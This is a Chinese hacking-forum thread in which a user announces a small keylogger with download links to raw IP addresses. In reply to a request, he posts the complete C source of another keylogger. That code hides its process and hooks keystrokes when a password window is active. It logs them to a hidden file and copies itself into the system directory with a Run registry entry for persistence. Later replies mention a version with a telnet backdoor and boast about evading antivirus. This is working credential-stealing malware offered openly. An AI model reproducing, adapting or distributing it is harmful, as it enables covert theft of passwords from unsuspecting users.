|
作者: wineggdrop [wineggdrop] 论坛用户 | 登录 |
WinEggDrop KeyLog V1.0 很小型的一个键盘记录程序3k,大部分键盘的输入都能记录下来。 用法: 1. KeyLog 键值 功能说明:安装自己,加一个值在run下 例如: KeyLog KeyLogger KeyLog "Win KeyLogger" 2.运行KeyLog.exe 功能说明:运行自己 注意:程序本身会检测被运行时的身份,如果是local system权限的话,会自动退出;只有在一般的用户权限(admin,user,guest等权限)才会运行成功。不允许在local system中运行是因为就算运行后,在local system身份中程序是无法记录到任何输入的键值(网上99%的键盘记录程序都无法在local system权限下运行但又可以记录到输入的键值的.) 这只是一个在研究以服务启动的键盘记录程序时写的,因为程序还算很小,所以就公布一下。 下载: 216.232.223.155/KeyLog.zip 211.93.112.71/KeyLog.zip |
地主 发表时间: 03/29 15:01 |
回复: ricky [ricky] 版主 | 登录 |
给我一个源码好吗 |
B1层 发表时间: 04/01 09:07 |
回复: wineggdrop [wineggdrop] 论坛用户 | 登录 |
下面的代码并不是我的,我的那个也不是基于这个代码写 出来的,但代码只是给你一种如何写键盘记录程序的思路。 代码如作者所说,是不稳定的(应该说是有很多bug的),很 多功能只是能用于win9x系统,在NT系统上是无效的,而且 很多键值也无法记录到的。 /*------------------------------------------------------------------ * GMK 0.0000000000000000000000000000000000000000001 (不稳定版) * * 获取键盘输入密码、无聊时的作品 * * 作者:贾佳 65127779 - 15 * * -------------------------------------------------------------------*/ #include <windows.h> #define KeyPMask 0x80000000 #define SERVICE_PROC 1 #define UNSERVICE_PROC 0 #define RUN "\\GmkMon.exe" typedef struct tagKEYDATA{ char kKey; SHORT kShift; SHORT kCaps; SHORT kNum; BOOL bShift; BOOL bCaps; BOOL bNum; }KEYDATA,*LPKEYDATA; HHOOK hHook=NULL; DWORD (WINAPI *RegisterServiceProcess)(DWORD,DWORD); LRESULT CALLBACK WndProc (HWND, UINT, WPARAM, LPARAM) ; LRESULT CALLBACK JournalRecordProc(int nCode,WPARAM wParam,LPARAM lParam); BOOL WINAPI HideProc(int mode) { HINSTANCE DLLInst=LoadLibrary("KERNEL32.DLL"); if(DLLInst) { RegisterServiceProcess=(DWORD(WINAPI *)(DWORD,DWORD)) GetProcAddress(DLLInst,"RegisterServiceProcess"); if(RegisterServiceProcess) { RegisterServiceProcess(GetCurrentProcessId(),mode); return TRUE; } else return FALSE; } else return FALSE; } BOOL WINAPI IsPassWindow() { HWND hWnd,curHwnd; TCHAR szTemp[MAX_PATH]; DWORD dwsTyle; hWnd=GetActiveWindow(); if(hWnd==NULL) return FALSE; curHwnd =hWnd; while(curHwnd!=NULL) { hWnd=curHwnd; curHwnd=GetParent(hWnd); } dwsTyle=GetWindowLong(hWnd,GWL_STYLE); if(dwsTyle & ES_PASSWORD) //普通密码框 return TRUE; else if(!lstrcmp(szTemp,"EDTBX")) //Excel密码 return TRUE; else if(!lstrcmp(szTemp,"RichEdit20W") && (dwsTyle & WS_SYSMENU)) return TRUE; //WORD密码 GetWindowText(hWnd,szTemp, sizeof(szTemp)); if(!strncmp(szTemp,"连接到",6)) //拨号网络 return TRUE; return FALSE; } TCHAR WINAPI GetKey(int nKey) { KEYDATA kd; kd.kShift=GetKeyState(VK_SHIFT); kd.kCaps=GetKeyState(0x14); kd.kNum=GetKeyState(0x90); kd.bShift=(kd.kShift & KeyPMask)==KeyPMask; kd.bCaps=(kd.kCaps & 1)==1; kd.bNum=(kd.kNum & 1)==1; if(nKey>=48 && nKey<=57) if(!kd.bShift) return (kd.kKey=nKey); if(nKey>=65 && nKey<=90) { if(!kd.bCaps) if(kd.bShift) kd.kKey=nKey; else kd.kKey=nKey+32; else if (kd.bShift) kd.kKey=nKey+32; else kd.kKey=nKey; return kd.kKey; } if(nKey>=96 && nKey<=105) // 小键盘0-9 if(kd.bNum) return (kd.kKey=(nKey-96+48)); if(nKey>=186 && nKey<=222) // 其他键 { switch(nKey) { case 186: if(!kd.bShift) kd.kKey=';';else kd.kKey=':'; break; case 187: if(!kd.bShift) kd.kKey='=';else kd.kKey='+' ; break; case 188: if (!kd.bShift) kd.kKey=',';else kd.kKey='<' ; break; case 189: if (!kd.bShift) kd.kKey='-';else kd.kKey='_' ; break; case 190: if (!kd.bShift) kd.kKey='.';else kd.kKey='>' ; break; case 191: if (!kd.bShift) kd.kKey='/';else kd.kKey='?' ; break; case 192: if (!kd.bShift) kd.kKey='`' ; else kd.kKey='~' ; break; case 219: if (!kd.bShift) kd.kKey='[' ; else kd.kKey='{' ; break; case 220: if (!kd.bShift) kd.kKey='\\' ; else kd.kKey='|' ; break; case 221: if (!kd.bShift) kd.kKey=']' ; else kd.kKey='}' ; break; case 222: if (!kd.bShift) kd.kKey='\\'; else kd.kKey='\\'; break; default:kd.kKey='n' ;break; } if(kd.kKey!='n') return kd.kKey; } } void WINAPI WritePassFile(int nKey) { HANDLE hFile; DWORD dwBytesWrite=1; TCHAR lpStr,szTemp[MAX_PATH]; hFile=CreateFile("C:\\passdata.txt", GENERIC_READ|GENERIC_WRITE, FILE_SHARE_WRITE, NULL, OPEN_ALWAYS, FILE_ATTRIBUTE_HIDDEN, NULL ); SetFilePointer(hFile,0,NULL,FILE_END); lpStr=GetKey(LOBYTE(nKey)); WriteFile(hFile,&lpStr,1,&dwBytesWrite,0); CloseHandle(hFile); } void WINAPI InstallHook(HINSTANCE hInstance) { if(hHook==NULL) hHook=SetWindowsHookEx(WH_JOURNALRECORD,(HOOKPROC)JournalRecordProc,hInstance,0); } void WINAPI UninstallHook() { if(hHook!=NULL) UnhookWindowsHookEx(hHook); } LRESULT CALLBACK JournalRecordProc(int nCode,WPARAM wParam,LPARAM lParam) { EVENTMSG *pMess=(EVENTMSG *)lParam; POINT pt; switch(pMess->message) { case WM_KEYDOWN: if(IsPassWindow()) WritePassFile(LOBYTE(pMess->paramL)); break; case WM_LBUTTONDBLCLK: GetCursorPos(&pt); break; } return CallNextHookEx(hHook,nCode,wParam,lParam); } int WINAPI WinMain (HINSTANCE hInstance, HINSTANCE hPrevInstance, PSTR szCmdLine, int iCmdShow) { HANDLE hMutex=CreateMutex(NULL,FALSE,"GMKRunOnlyOne"); if(hMutex==NULL||ERROR_ALREADY_EXISTS==GetLastError()){ ExitProcess(1); } static char szAppName[] = "jiajia" ; HWND hwnd ; MSG msg ; WNDCLASSEX wndclass ; HKEY hKey=0; DWORD disp=0; LONG lResult; TCHAR szKey[MAX_PATH]; TCHAR szSysDir[MAX_PATH+25]; TCHAR szFileName[MAX_PATH]; wndclass.cbSize = sizeof (wndclass) ; wndclass.style = CS_HREDRAW | CS_VREDRAW ; wndclass.lpfnWndProc = WndProc ; wndclass.cbClsExtra = 0 ; wndclass.cbWndExtra = 0 ; wndclass.hInstance = hInstance ; wndclass.hIcon = LoadIcon (NULL, IDI_APPLICATION) ; wndclass.hCursor = LoadCursor (NULL, IDC_ARROW) ; wndclass.hbrBackground = (HBRUSH) GetStockObject (WHITE_BRUSH) ; wndclass.lpszMenuName = NULL ; wndclass.lpszClassName = szAppName ; wndclass.hIconSm = LoadIcon (NULL, IDI_APPLICATION) ; RegisterClassEx(&wndclass); hwnd=CreateWindow( szAppName, "jia jia", WS_OVERLAPPEDWINDOW, CW_USEDEFAULT, CW_USEDEFAULT, CW_USEDEFAULT, CW_USEDEFAULT, NULL, NULL, hInstance, NULL ); ShowWindow(hwnd,SW_HIDE); UpdateWindow(hwnd); HideProc(SERVICE_PROC); InstallHook(hInstance); GetSystemDirectory(szSysDir,MAX_PATH); lstrcat(szSysDir,RUN); GetModuleFileName(NULL,szFileName,MAX_PATH); CopyFile(szFileName,szSysDir,FALSE); lstrcpy(szKey,"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run"); lResult=RegCreateKeyEx( HKEY_LOCAL_MACHINE, szKey, 0, NULL, REG_OPTION_VOLATILE, KEY_ALL_ACCESS, NULL, &hKey, &disp ); if(lResult==ERROR_SUCCESS) { lResult=RegSetValueEx(hKey,"GmkMon",0,REG_SZ,szSysDir,lstrlen(szSysDir)); RegCloseKey(hKey); } while (GetMessage (&msg, NULL, 0, 0)) { TranslateMessage (&msg) ; DispatchMessage (&msg) ; } return msg.wParam ; } LRESULT CALLBACK WndProc (HWND hwnd, UINT iMsg, WPARAM wParam, LPARAM lParam) { switch (iMsg) { case WM_PAINT: return 0 ; case WM_DESTROY: UninstallHook(); PostQuitMessage (0) ; return 0 ; } return DefWindowProc(hwnd,iMsg,wParam,lParam); } |
B2层 发表时间: 04/01 12:25 |
回复: NetDemon [netdemon] ADMIN | 登录 |
呵呵,病毒这个家伙.... |
B3层 发表时间: 04/01 16:22 |
回复: sainthero [sainthero] 论坛用户 | 登录 |
你的程序我没有运行过 但是同样的钩子程序我用delphi写过 产生的按键记录会重复,因为要处理两个消息,wm_keydown wm_keyup 当然,如果你按键比较快例外 |
B4层 发表时间: 04/01 22:57 |
回复: wineggdrop [wineggdrop] 论坛用户 | 登录 |
SetWindowsHookEx可以钩15种不同的钩子,有至少6种是钩住 键盘的,不是每一种都是处理keydown和keyup的,而且也不是 每一种都适用所有win系统的,有的只是适用于NT系统的。 我那个是不用处理keydown和keyup等的,也不会出现重复 记录(除非你将程序运行了两次),不过这个程序并不是完美的 ,因为一些系统的键,如shift,CTRl等还不是经过精心处理的,不过 一个3k的程序,就不要有太高的期望了,新的版本是有后门 功能(可以直接telnet上去直接看对方的输入),而且对于系统组合键(几乎所有 组合键,shift,ctrl,pause,home等等都经过处理)都做了处理。 |
B5层 发表时间: 04/02 06:57 |
回复: ricky [ricky] 版主 | 登录 |
不错,我一直想写,你给的那段代码我很久以前就看过了,最近比较忙,没法写,我的原则是,凡是要在别人机器里运行的东东,一概不发上来,以免上了病毒库。哈哈,你说呢 |
B6层 发表时间: 04/03 15:02 |
回复: wineggdrop [wineggdrop] 论坛用户 | 登录 |
自己写出来的程序是永远不会被杀的,就算被杀,只要有源 程序,可以保证不会被杀。 |
B7层 发表时间: 04/03 20:02 |
回复: wineggdrop [wineggdrop] 论坛用户 | 登录 |
自己写出来的程序是永远不会被杀的,就算被杀,只要有源 程序,可以保证不会被杀。 |
B8层 发表时间: 04/03 20:03 |
|
20CN网络安全小组版权所有
Copyright © 2000-2010 20CN Security Group. All Rights Reserved.
论坛程序编写:NetDemon
粤ICP备05087286号